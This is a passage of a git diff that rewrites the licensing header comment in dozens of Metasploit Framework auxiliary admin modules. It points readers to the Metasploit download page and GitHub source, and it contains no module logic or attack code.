a/modules/auxiliary/admin/backupexec/dump.rb b/modules/auxiliary/admin/backupexec/dump.rb index f300351d03..dd7f914774 100644 --- a/modules/auxiliary/admin/backupexec/dump.rb +++ b/modules/auxiliary/admin/backupexec/dump.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/backupexec/registry.rb b/modules/auxiliary/admin/backupexec/registry.rb index ac2564ad55..999a81af50 100644 --- a/modules/auxiliary/admin/backupexec/registry.rb +++ b/modules/auxiliary/admin/backupexec/registry.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb b/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb index d0efec2922..e0362290f1 100644 --- a/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb +++ b/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb b/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb index 566f0065b5..e7591a5129 100644 --- a/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb +++ b/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/db2/db2rcmd.rb b/modules/auxiliary/admin/db2/db2rcmd.rb index bfa44333ff..1c65a64771 100644 --- a/modules/auxiliary/admin/db2/db2rcmd.rb +++ b/modules/auxiliary/admin/db2/db2rcmd.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/edirectory/edirectory_dhost_cookie.rb b/modules/auxiliary/admin/edirectory/edirectory_dhost_cookie.rb index 6a6cec7f22..63776a4527 100644 --- a/modules/auxiliary/admin/edirectory/edirectory_dhost_cookie.rb +++ b/modules/auxiliary/admin/edirectory/edirectory_dhost_cookie.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb b/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb index 4e6bbe08b5..6f1d79d1c7 100644 --- a/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb +++ b/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/emc/alphastor_devicemanager_exec.rb b/modules/auxiliary/admin/emc/alphastor_devicemanager_exec.rb index 270de35555..3ffd95bef6 100644 --- a/modules/auxiliary/admin/emc/alphastor_devicemanager_exec.rb +++ b/modules/auxiliary/admin/emc/alphastor_devicemanager_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/emc/alphastor_librarymanager_exec.rb b/modules/auxiliary/admin/emc/alphastor_librarymanager_exec.rb index 0a76d78786..8a1791e962 100644 --- a/modules/auxiliary/admin/emc/alphastor_librarymanager_exec.rb +++ b/modules/auxiliary/admin/emc/alphastor_librarymanager_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb b/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb index 5452134622..9145390783 100644 --- a/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb +++ b/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/admin/http/axigen_file_access.rb b/modules/auxiliary/admin/http/axigen_file_access.rb index b4c1b0deaa..79cda395e9 100644 --- a/modules/auxiliary/admin/http/axigen_file_access.rb +++ b/modules/auxiliary/admin/http/axigen_file_access.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb b/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb index 553226f9dd..fd3e12adbd 100644 --- a/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb +++ b/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb index 960b84c7a4..ca68fe3f82 100644 --- a/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb +++ b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb b/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb index e2151ee130..d8a87eb489 100644 --- a/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb +++ b/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb b/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb index 0d53003e23..80b7571f9a 100644 --- a/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb +++ b/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb b/modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb index 26bcabf1d3..bdd15b4d30 100644 --- a/modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb +++ b/modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb b/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb index 9e393d6726..4116409a2f 100644 --- a/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb +++ b/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/http/iis_auth_bypass.rb b/modules/auxiliary/admin/http/iis_auth_bypass.rb index 9dbbc304a5..94158f52c6 100644 --- a/modules/auxiliary/admin/http/iis_auth_bypass.rb +++ b/modules/auxiliary/admin/http/iis_auth_bypass.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/admin/http/intersil_pass_reset.rb b/modules/auxiliary/admin/http/intersil_pass_reset.rb index fa511792cf..fcd4f912a9 100644 --- a/modules/auxiliary/admin/http/intersil_pass_reset.rb +++ b/modules/auxiliary/admin/http/intersil_pass_reset.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb b/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb index d1971279d6..2bad61b536 100644 --- a/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb +++ b/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/http/jboss_seam_exec.rb b/modules/auxiliary/admin/http/jboss_seam_exec.rb index 84e3d23b1d..46aa87a3ca 100644 --- a/modules/auxiliary/admin/http/jboss_seam_exec.rb +++ b/modules/auxiliary/admin/http/jboss_seam_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb b/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb index 1015ac7af9..08397bbf61 100644 --- a/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb +++ b/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb index 28d3ecfb7b..b1117837d7 100644 --- a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb +++ b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb b/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb index 09c38b4691..f9e7ee1ae0 100644 --- a/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb +++ b/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb index 1df291cdfb..a2c2467812 100644 --- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb +++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/http/novell_file_reporter_filedelete.rb b/modules/auxiliary/admin/http/novell_file_reporter_filedelete.rb index 3a4d16095b..b7f254be06 100644 --- a/modules/auxiliary/admin/http/novell_file_reporter_filedelete.rb +++ b/modules/auxiliary/admin/http/novell_file_reporter_filedelete.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb index 4b191b27bf..b2a8f03966 100644 --- a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/http/scrutinizer_add_user.rb b/modules/auxiliary/admin/http/scrutinizer_add_user.rb index 04412b830e..b32f2140ab 100644 --- a/modules/auxiliary/admin/http/scrutinizer_add_user.rb +++ b/modules/auxiliary/admin/http/scrutinizer_add_user.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/admin/http/sophos_wpa_traversal.rb b/modules/auxiliary/admin/http/sophos_wpa_traversal.rb index f0d731803b..a389ab33f3 100644 --- a/modules/auxiliary/admin/http/sophos_wpa_traversal.rb +++ b/modules/auxiliary/admin/http/sophos_wpa_traversal.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'uri' diff --git a/modules/auxiliary/admin/http/tomcat_administration.rb b/modules/auxiliary/admin/http/tomcat_administration.rb index c9e564e8dc..b40fb44141 100644 --- a/modules/auxiliary/admin/http/tomcat_administration.rb +++ b/modules/auxiliary/admin/http/tomcat_administration.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/http/tomcat_utf8_traversal.rb b/modules/auxiliary/admin/http/tomcat_utf8_traversal.rb index 04dc338a76..c458467577 100644 --- a/modules/auxiliary/admin/http/tomcat_utf8_traversal.rb +++ b/modules/auxiliary/admin/http/tomcat_utf8_traversal.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/http/trendmicro_dlp_traversal.rb b/modules/auxiliary/admin/http/trendmicro_dlp_traversal.rb index d4b8cdb3a5..023af5b51c 100644 --- a/modules/auxiliary/admin/http/trendmicro_dlp_traversal.rb +++ b/modules/auxiliary/admin/http/trendmicro_dlp_traversal.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/http/typo3_sa_2009_001.rb b/modules/auxiliary/admin/http/typo3_sa_2009_001.rb index 4aec2cfeb4..584c733512 100644 --- a/modules/auxiliary/admin/http/typo3_sa_2009_001.rb +++ b/modules/auxiliary/admin/http/typo3_sa_2009_001.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/http/typo3_sa_2009_002.rb b/modules/auxiliary/admin/http/typo3_sa_2009_002.rb index 0075e55452..216734a0d6 100644 --- a/modules/auxiliary/admin/http/typo3_sa_2009_002.rb +++ b/modules/auxiliary/admin/http/typo3_sa_2009_002.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/http/typo3_sa_2010_020.rb b/modules/auxiliary/admin/http/typo3_sa_2010_020.rb index 11e2ef5757..c04a961a68 100644 --- a/modules/auxiliary/admin/http/typo3_sa_2010_020.rb +++ b/modules/auxiliary/admin/http/typo3_sa_2010_020.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb b/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb index ee96594876..df39e50604 100644 --- a/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb +++ b/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb index 9875098f33..d3be9bcee4 100644 --- a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb +++ b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb b/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb index 8d217e35b6..80cd9a82a9 100644 --- a/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb +++ b/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/misc/wol.rb b/modules/auxiliary/admin/misc/wol.rb index 9cb9bbdca5..d02be7f842 100644 --- a/modules/auxiliary/admin/misc/wol.rb +++ b/modules/auxiliary/admin/misc/wol.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/admin/motorola/wr850g_cred.rb b/modules/auxiliary/admin/motorola/wr850g_cred.rb index 740f761175..6126266f1f 100644 --- a/modules/auxiliary/admin/motorola/wr850g_cred.rb +++ b/modules/auxiliary/admin/motorola/wr850g_cred.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/ms/ms08_059_his2006.rb b/modules/auxiliary/admin/ms/ms08_059_his2006.rb index 360f9ec820..ef3b49e2f4 100644 --- a/modules/auxiliary/admin/ms/ms08_059_his2006.rb +++ b/modules/auxiliary/admin/ms/ms08_059_his2006.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/mssql/mssql_enum.rb b/modules/auxiliary/admin/mssql/mssql_enum.rb index 88fbded57b..698fffa2c9 100644 --- a/modules/auxiliary/admin/mssql/mssql_enum.rb +++ b/modules/auxiliary/admin/mssql/mssql_enum.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/mssql/mssql_exec.rb b/modules/auxiliary/admin/mssql/mssql_exec.rb index d816f22184..7704173228 100644 --- a/modules/auxiliary/admin/mssql/mssql_exec.rb +++ b/modules/auxiliary/admin/mssql/mssql_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb b/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb index 11b7db5c73..b978544f56 100644 --- a/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb +++ b/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/mssql/mssql_idf.rb b/modules/auxiliary/admin/mssql/mssql_idf.rb index eb782718c4..842e961244 100644 --- a/modules/auxiliary/admin/mssql/mssql_idf.rb +++ b/modules/auxiliary/admin/mssql/mssql_idf.rb @@ -8,10 +8,8 @@ ## ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb index 300340fc4b..d7fdaf85a1 100644 --- a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb +++ b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb index 548dda60bc..1b74254fbd 100644 --- a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb +++ b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/mssql/mssql_sql.rb b/modules/auxiliary/admin/mssql/mssql_sql.rb index 95736b362c..ae4d743ae6 100644 --- a/modules/auxiliary/admin/mssql/mssql_sql.rb +++ b/modules/auxiliary/admin/mssql/mssql_sql.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/mssql/mssql_sql_file.rb b/modules/auxiliary/admin/mssql/mssql_sql_file.rb index e3d4bf656f..631f37c21d 100644 --- a/modules/auxiliary/admin/mssql/mssql_sql_file.rb +++ b/modules/auxiliary/admin/mssql/mssql_sql_file.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/mysql/mysql_enum.rb b/modules/auxiliary/admin/mysql/mysql_enum.rb index da09d73551..8275dbd8bf 100644 --- a/modules/auxiliary/admin/mysql/mysql_enum.rb +++ b/modules/auxiliary/admin/mysql/mysql_enum.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/admin/mysql/mysql_sql.rb 